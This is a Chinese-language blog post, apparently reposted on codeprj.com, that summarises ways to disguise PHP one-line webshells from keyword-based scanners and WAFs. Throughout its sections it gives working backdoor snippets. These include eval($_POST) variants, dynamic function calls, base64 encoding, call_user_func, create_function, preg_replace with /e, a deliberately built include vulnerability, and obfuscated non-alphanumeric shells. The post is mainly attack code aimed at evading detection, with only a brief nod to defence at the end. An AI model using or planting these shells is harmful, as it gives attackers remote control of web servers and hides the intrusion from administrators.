PHP一句話木馬Webshell變形免殺總結


0×00 前言

  大部分Webshell查殺工具都是基於關鍵字特征的,通常他們會維護一個關鍵字列表,以此遍歷指定擴展名的文件來進行掃描,所以可能最先想到的是各種字符串變形,下面總結了一些小的方法,各種不足之前還請看官拍磚.  

0×01 字符串上的舞蹈  

  一般標准的一句話Webshell是利用PHP的eval函數,動態執行其他函數功能.其標准的形式如下:
@eval ($_POST[xxxxx]);
很明顯的eval會成為靜態特征碼Webshell掃描工具的關鍵字.加上一點小技巧,我們讓其動態傳入,或者利用base64等編碼函數來進行繞過
@$_GET[a]($_POST[xxxxx]);
or @base64_decode(base64編碼過的eval)
當然,掃一眼PHP手冊,玩轉字符串的函數遠不止這些,你可以寫一個自定義加解密的函數,或者利用xor,字符串反轉,壓縮,截斷重組等方法來繞過.
另外大多數Webshell的查殺工具很少把assert函數加入到關鍵字列表中,不過隨着使用的人越來越多也不是絕對的,我們也可以用assert替換eval來執行猥瑣的功能.
以前在ASP一句話Webshell的變形過程中,打亂和拆分文件也是非常常用的功能,這里也記一筆.用require,include等將字符串拆分再重組.或者將加密好的字符串單獨放在任意擴展名文件中,利用解密函數讀取文件來執行,這里寫一個base64比較簡單的例子 file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de)); 字符串的各種猥瑣還是很多的,最致命的地方是,如果有基於語義分析的查殺工具露面(我印象中是有的)這些都完蛋 

0×02 利用PHP函數的一些特性

  這一小段其實還是建立在玩轉了字符串的基礎上的,一個小例子 if(key($_GET)==’xxxxxx’) call_user_func($_GET[xxx],$_POST[evil]); 好吧,我承認這有點換湯不換葯,這種類型的就是遇到WAF都掛b,因為基本上都是基於動態傳入參數的,然后利用PHP函數換了個形式執行而已,最終還是調用eval,下面是一個小小的延伸
$x=create_function(”,$_GET[x]); $x();
再掃一眼PHP手冊,我們在《高級PHP漏洞審計》讀到過還有其他一些帶有執行功能的函數,比如經常用的preg_replace加/e參數的黃金組合,這類一句話Webshell也算是比較常見的了.總結起來他們可以算作是人為的構造一些PHP代碼上的漏洞.比如
 
$f=$_GET[x];
 
include($f);
 
這樣構造一個包含漏洞出來, 或者
 
$s= copy,movefile ; //…. etc
 
$s(參數調用)比如copy($_FILES[t][src],$_FILES[t][dst]);
 
利用一些文件操作函數來猥瑣一些小動作,再或者來個preg_replace執行漏洞的經典例子
 
$t= prege_replace;
 
$t(“/[xxx]/e”,$_POST[x],”Hah!~”);
 
這一方面能發散的地方還有很多,還是得多瞅瞅PHP手冊,因為PHP的相關函數真是太猥瑣了.
 
 

0×03 利用PHP的一些魔法特性


  不知道能不能把PHP的多態性叫做魔法特性,錯誤之處還請指出.看過Ryat和Qz牛的文章后會更好理解,老外給過一個經典的例子
 
($_=@$_GET[2]).@$_($_POST[1]);
 
and
 
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
 
or
 
${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);
 
當然我們實際不會這么去寫,因為管理員瞅一眼就明白你是要做壞事了.這其中也結合了移位運算等,算是寫得很花哨了 –-~
 
經常用MVC之類的框架搞開發,都能發現__autoload函數的好處,自己文件名去new一個類,然后在類中你可以在構造函數做點手腳什么的,而這一類函數在PHP中也是有不少的,我們可以猥瑣一下加以利用.
 
另外常見的ob_start等利用PHP函數的回調特性也是有的,其實覺得應該把這個分類放到上一小節,之前和wulin牛也討論過這種方式加密過的馬的解密,不過現在大多數Webshell查殺工具都應該把它加到關鍵字了吧.

  0×04 未完結

  我一直相信還有更加猥瑣的方式等等,攻防對立,也可以參考 核攻擊 大牛在其lcx.cc上發布的討論怎么從一萬多個文件中快速定位Webshell來見招拆招.引用黑防之前一句很裝13的話作為結語:在攻與防的對立中尋求統一.歡迎更多同學加入討論~

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM